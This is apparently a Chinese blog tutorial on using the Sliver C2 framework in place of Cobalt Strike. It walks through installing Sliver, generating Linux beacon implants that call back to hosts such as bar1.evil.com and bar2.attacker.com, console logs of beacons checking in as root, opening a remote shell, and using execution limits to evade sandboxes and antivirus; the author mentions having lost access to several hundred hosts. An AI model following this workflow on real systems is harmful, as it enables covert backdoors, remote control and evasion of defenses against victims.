使用sliver已经有一年多,因为cs对linux有天生的不兼容,许多功能无法使用,所有笔者找了一款可以平替cs的红队C2。在经过长时间的使用sliver,决定写一篇关于sliver的文章。
先附几张使用截图。
0x1安装
推荐使用Debian11+ 。有能力直接看官方文档,跳过本章。
这是项目的官方地址https://github.com/BishopFox/sliver
先安装mingw-w64
apt install git mingw-w64
curl https://sliver.sh/install|sudo bash
记得给权限。
如果遇到下列报错
gpg: directory '/root/.gnupg' created
gpg: keybox '/root/.gnupg/pubring.kbx' created
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key 7DF912404449039C: public key "Sliver <[email protected]>" imported
gpg: error running '/usr/bin/gpg-agent': probably not installed
gpg: failed to start agent '/usr/bin/gpg-agent': Configuration error
gpg: can't connect to the agent: Configuration error
gpg: Total number processed: 1
gpg: imported: 1
得先安装gnupg-agent
apt install gnupg-agent
类似CS,sliver支持多人模式,这里不过多介绍。
安装完成之后是这个样子,可以直接sliver启动。当然也可以去官方下载二进制文件直接启动,但是我推荐脚本安装。
0x2生成木马
这里有两种模式。一种是session模式 ,一次使用,退出或者断连后无法回连。笔者在第一次使用的时候就是使用了这个模式导致服务器重启之后,丢了几百台权限,因为过于垃圾,这里不介绍这个模式。另外一种就是beacon,笔者强烈推荐,直接免杀。
sliver还支持一个木马同时多个协议上线。
generate --os linux --mtls example.com,domain.com --http bar1.evil.com,bar2.attacker.com --dns baz.bishopfox.com
比如上面这个命令生成的木马,会以轮播循环的形式对3种协议进行通信。
sliver > generate
[!] Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot ##支持多种协议上线,笔者喜欢第一种mtls
sliver > mtls -l 60001 ##首先mtls -60001 开启一个监听端口
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > jobs ##查看当前监听端口
ID Name Protocol Port Stage Profile
==== ====== ========== ======= ===============
1 mtls tcp 60001
sliver > generate --mtls xxx.xxx.store:60001 --os linux --max-errors 99999 beacon
##生成beacon
[*] Generating new linux/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 2m25s
[*] Implant saved to /root/FIT_REFLECTION ##存放路径
0x3上线
直接看图比较容易理解。
sliver (FIT_REFLECTION) > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Locale Last Check-In Next Check-In
========== ================ ======= =========== ====================== =========== ========== ================== ======== ========================================== ==========================================
ac0261bd FIT_REFLECTION 0/1 mtls 104.xxx.xxx.xxx:34194 root linux/amd64 en-US Thu Sep 21 02:58:01 PDT 2023 (5m41s ago) Thu Sep 21 02:59:04 PDT 2023 (4m38s ago)
a954c643 FIT_REFLECTION 0/0 mtls 104.xxx.xxx.xxx:51690 root linux/amd64 en-US Thu Sep 21 03:03:32 PDT 2023 (10s ago) Thu Sep 21 03:04:55 PDT 2023 (in 1m13s)
sliver (FIT_REFLECTION) > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Locale Last Check-In Next Check-In
========== ================ ======= =========== ====================== =========== ========== ================== ======== ========================================== ==========================================
ac0261bd FIT_REFLECTION 0/1 mtls 104.xxx.xxx.xxx:34194 root linux/amd64 en-US Thu Sep 21 02:58:01 PDT 2023 (5m46s ago) Thu Sep 21 02:59:04 PDT 2023 (4m43s ago)
a954c643 FIT_REFLECTION 0/0 mtls 104.xxx.xxx.xxx:51690 root linux/amd64 en-US Thu Sep 21 03:03:32 PDT 2023 (15s ago) Thu Sep 21 03:04:55 PDT 2023 (in 1m8s)
sliver (FIT_REFLECTION) > use a954c643-052d-4b8d-be3e-b9b58803ddec
[*] Active beacon FIT_REFLECTION (a954c643-052d-4b8d-be3e-b9b58803ddec)
sliver (FIT_REFLECTION) > interactive
[*] Using beacon's active C2 endpoint: mtls://xxx.xxx.xxx:60001
[*] Tasked beacon FIT_REFLECTION (4fce7853)
[*] Session a7693931 FIT_REFLECTION - 104.xxx.xxx.xxx:32808 () - linux/amd64 - Thu, 21 Sep 2023 03:04:56 PDT
sliver (FIT_REFLECTION) > sessions
ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== ================ =========== ====================== =========== ========== ================== ======== ======================================== =========
a7693931 FIT_REFLECTION mtls xxx.xxx.xxx:32808 root linux/amd64 en-US Thu Sep 21 03:04:56 PDT 2023 (20s ago) [ALIVE]
sliver (FIT_REFLECTION) > use a7693931-b628-48d8-8614-b08e0c6e8c88
[*] Active session FIT_REFLECTION (a7693931-b628-48d8-8614-b08e0c6e8c88)
sliver (FIT_REFLECTION) > shell
? This action is bad OPSEC, are you an adult? Yes
[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...
[*] Started remote shell with pid 8907
root@xxx:~#
0x4总结
其实在写这篇文章的时候,意外发现一个过沙箱的思路,
-w, --limit-datetime string:限制在指定日期时间之前执行
-x, --limit-domainjoined:限制在域加入的计算机上执行
-F, --limit-fileexists string:限制在具有文件系统中的指定文件的主机上执行
-z, --limit-hostname string:限制在指定的主机名上执行
-L, --limit-locale string:限制在与此区域设置匹配的主机上执行
-y, --limit-username string:限制在指定的用户名上执行
这是beacon支持的参数,这不就是配合免杀妥妥的自带绕过沙箱的功能么?大家可以参考。笔者觉得sliver对比cs的优势在于,沙箱绕过,多种协议并存通信,同时也支持DLL,EXE,等三大主流系统,并且隐蔽性比cs好太多。其实这个还可以一键迁移进程内存加载shellcode,这里先不讨论。
标签:REFLECTION,FIT,--,xxx,mtls,C2,红队,sliver From: https://www.cnblogs.com/websec80/p/18125612